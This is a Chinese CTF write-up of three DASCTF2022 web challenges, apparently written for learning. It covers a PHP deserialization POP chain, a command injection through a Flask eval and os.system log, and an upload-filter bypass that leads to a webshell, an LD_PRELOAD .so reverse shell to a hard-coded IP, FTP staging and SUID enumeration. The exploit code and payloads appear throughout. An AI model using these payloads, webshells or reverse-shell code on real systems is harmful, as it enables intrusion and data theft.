ezpop、calc、upgdstore
Web ezpop 直接得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php class crow { public $v1 ; public $v2 ; function eval ( ) { echo new $this ->v1($this ->v2); } public function __invoke ( ) { $this ->v1->world(); } } class fin { public $f1 ; public function __destruct ( ) { echo $this ->f1 . '114514' ; } public function run ( ) { ($this ->f1)(); } public function __call ($a , $b ) { echo $this ->f1->get_flag(); } } class what { public $a ; public function __toString ( ) { $this ->a->run(); return 'hello' ; } } class mix { public $m1 ; public function run ( ) { ($this ->m1)(); } public function get_flag ( ) { eval ('#' . $this ->m1); } } if (isset ($_POST ['cmd' ])) { unserialize($_POST ['cmd' ]); } else { highlight_file(__FILE__ ); }
pop链:
1.首先找到destruct
方法作为入口,触发toString
2.what类里面转到mix类的run方法
3.mix的run触发crow的invoke方法
4.然后触发call方法调用get_flag
5.最后换行绕过注释
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class crow { public $v1 ; public $v2 ; public function __construct ($v1 ,$v2 ) { $this ->v1 = $v1 ; $this ->v2 = $v2 ; } } class fin { public $f1 ; public function __construct ($f1 ) { $this ->f1 = $f1 ; } } class what { public $a ; public function __construct ($a ) { $this ->a = $a ; } } class mix { public function __construct ($m1 ) { $this ->m1 = $m1 ; } } $a = new fin(new what(new mix(new crow(new fin(new mix('; system(\'grep -r "{"\');' )),'' ))));echo urlencode(serialize($a ));
复现来啦 ~
calc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \ abort, send_from_directory import randomfrom urllib import parseimport osfrom werkzeug.utils import secure_filenameimport timeapp = Flask(__name__) def waf (s ): blacklist = ['import' , '(' , ')' , ' ' , '_' , '|' , ';' , '"' , '{' , '}' , '&' , 'getattr' , 'os' , 'system' , 'class' , 'subclasses' , 'mro' , 'request' , 'args' , 'eval' , 'if' , 'subprocess' , 'file' , 'open' , 'popen' , 'builtins' , 'compile' , 'execfile' , 'from_pyfile' , 'config' , 'local' , 'self' , 'item' , 'getitem' , 'getattribute' , 'func_globals' , '__init__' , 'join' , '__dict__' ] flag = True for no in blacklist: if no.lower() in s.lower(): flag = False print (no) break return flag @app.route("/" ) def index (): "欢迎来到SUctf2022" return render_template("index.html" ) @app.route("/calc" , methods=['GET' ] ) def calc (): ip = request.remote_addr num = request.values.get("num" ) log = "echo {0} {1} {2}> ./tmp/log.txt" .format (time.strftime("%Y%m%d-%H%M%S" , time.localtime()), ip, num) if waf(num): try : data = eval (num) os.system(log) except : pass return str (data) else : return "waf!!" if __name__ == "__main__" : app.run(host='0.0.0.0' , port=5000 )
1.赛时
waf过滤了很多关键词和符号,所以几乎不能用SSTI注入,但是当时就想着肯定能用SSTI,所以就一直卡住了(
然后因为之前做过类似的,利用报错进行模板注入,但是这道题利用1/0#
这种形式也是完全过不了的,因为有js进行检测
然后就把目光放到了eval中,在想着该怎么传入num才使得eval或者system执行我们想要的代码,但是一直没有想到该怎么办
1 2 3 4 5 6 7 8 9 10 @app.route("/calc" , methods=['GET' ] ) def calc (): ip = request.remote_addr num = request.values.get("num" ) log = "echo {0} {1} {2}> ./tmp/log.txt" .format (time.strftime("%Y%m%d-%H%M%S" , time.localtime()), ip, num) if waf(num): try : data = eval (num) os.system(log)
2.赛后
赛后看了别的师傅 的wp
确实是从os.system(log)
入手的,但是这里用到#
是为了注释掉后面的内容,因为如果eval(num)
出错的话,是不会进行下去的,导致实现不了rce
而python又支持#
与字符连接还是能当作注释符,而在unix中如果#
与字符相邻则也会被当作字符,就可以利用这个区别直接构造payload
再利用反引号进行命令执行
不过感觉可能是环境原因,直接用反引号没有返回值,直接用curl外带,payload:
1 /calc?num=1%23`curl%09http://vps:5656/?flag=\`cat%09Th1s*\``
upgdstore
SplFileObject
利用环境变量getshell putenv
python搭建ftp服务
suid提权
1.赛时
一看是文件上传,还只能上传php文件,那就直接看phpinfo()
,然后就可以发现很多常用的函数被禁掉了,然后后来突然想到用FFI,但是一看,也被禁掉了
再后来尝试用原生类,我们在测试中可以发现=|$|-|^
等字符也不可用, 那也几乎不可以用原生类,因为既然不能用$
来赋值,那么只能直接new一个类来用->
来调用方法,但是显而易见不可以,之后就直接摆了(🥺
2.赛后
① show_source没有被ban,但是会被过滤,可以利用php大小写不敏感绕过,获取index.php
的源码,不仅过滤了函数还过滤了特殊字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php function fun ($var ): bool { $blacklist = ["\$_" , "eval" ,"copy" ,"assert" ,"usort" ,"include" , "require" , "$" , "^" , "~" , "-" , "%" , "*" ,"file" ,"fopen" ,"fwriter" ,"fput" ,"copy" ,"curl" ,"fread" ,"fget" ,"function_exists" ,"dl" ,"putenv" ,"system" ,"exec" ,"shell_exec" ,"passthru" ,"proc_open" ,"proc_close" , "proc_get_status" ,"checkdnsrr" ,"getmxrr" ,"getservbyname" ,"getservbyport" , "syslog" ,"popen" ,"show_source" ,"highlight_file" ,"`" ,"chmod" ]; foreach ($blacklist as $blackword ){ if (strstr($var , $blackword )) return True ; } return False ; } error_reporting(0 ); define("UPLOAD_PATH" , "./uploads" ); $msg = "Upload Success!" ;if (isset ($_POST ['submit' ])) {$temp_file = $_FILES ['upload_file' ]['tmp_name' ];$file_name = $_FILES ['upload_file' ]['name' ];$ext = pathinfo($file_name ,PATHINFO_EXTENSION);if (!preg_match("/php/i" , strtolower($ext ))){die ("只要好看的php" );} $content = file_get_contents($temp_file );if (fun($content )){ die ("诶,被我发现了吧" ); } $new_file_name = md5($file_name )."." .$ext ; $img_path = UPLOAD_PATH . '/' . $new_file_name ; if (move_uploaded_file($temp_file , $img_path )){ $is_upload = true ; } else { $msg = 'Upload Failed!' ; die (); } echo '<div style="color:#F00">' .$msg ." Look here~ " .$img_path ."</div>" ; }
② 上传文件
一些有用的知识 Ⅰ.可以利用base64+php伪协议包含文件
1 2 3 4 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ <?php Include (base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTJjYzAxMzkzMmVhZjJmY2IzODNmZGE3MzVmZWYwYTM2LnBocA==" ));
Ⅱ. 字符串拼接动态函数
1 <?php echo ("fil" ."e_get_contents" )("/var/www/html/index.php" );
Ⅲ. 原生类SplFileObject::fwrite 写入文件
学到了新语法!!好耶!
重写一个类是为了实现把动态方法实现静态调用,因为动态调用的-
被ban了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php define("F" , "fil" ."e_get_contents" ); define("VALUE" ,(F)("/var/www/html/index.php" )[353 ]); define("E" , "e" ."val" ); define("SHELL" ,"<?php " .E."(" .VALUE."_POST['a']);?>" ); echo (F)("./shell.php" );class Splf extends SplFileObject { public function __destruct ( ) { parent ::fwrite(SHELL); } } define("AMEUU" ,new Splf("shell.php" ,"w" ));
③ bypass disable_functions
由于putenv
没有被ban,可以通过修改LD_PRELOAD
环境变量的值,可以执行我们上传的恶意os文件
exp:
因为putenv和mail都没有被ban,所以可以利用mail触发getuid反弹shell
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <string.h> int getuid () { if (getenv("LD_PRELOAD" )==NULL ){ return 0 ; } unsetenv("LD_PRELOAD" ); system("bash -c 'bash -i >& /dev/tcp/82.156.2.166/3434 0>&1'" ); }
编译:
1 gcc -shared -fPIC exp.c -o exp.so
另一些有用知识 Ⅰ. 用python搭建ftp服务
1 python3 -m pyftpdlib -p 21
Ⅱ. 将vps中的exp.so写进靶场中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $local_file = "/tmp/exp.so" ;$server_file = "exp.so" ;$vps = "82.156.2.166" ;$port = 21 ;$ftp = ftp_connect($vps ,$port );$login = ftp_login($ftp , 'anonymous' , '' );ftp_pasv($ftp , 1 ); if (ftp_get($ftp , $local_file ,$server_file ,FTP_BINARY)){ echo "success" ; } else { echo "wrong" ; } ftp_close($ftp );
然后只要将LD_PRELOAD
设置为exp.so所在的目录,然后执行mail函数触发getuid就好了,别忘了vps要监听
payload:
1 putenv("LD_PRELOAD=/tmp/exp.so");mail("","","","","");
suid 提权 1 2 3 find /bin -perm -u=s -type f 2>/dev/null find /usr -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null
发现有权限使用nl
得到flag
Reference https://erroratao.github.io/writeup/DASCTF2022xSU/
https://amiaaaz.github.io/2022/03/23/smth-about-env-variables/#bypass-disable_functions